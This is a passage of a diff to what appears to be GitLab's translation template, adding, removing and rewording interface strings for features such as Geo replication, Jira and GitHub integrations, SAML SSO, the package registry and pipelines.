+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
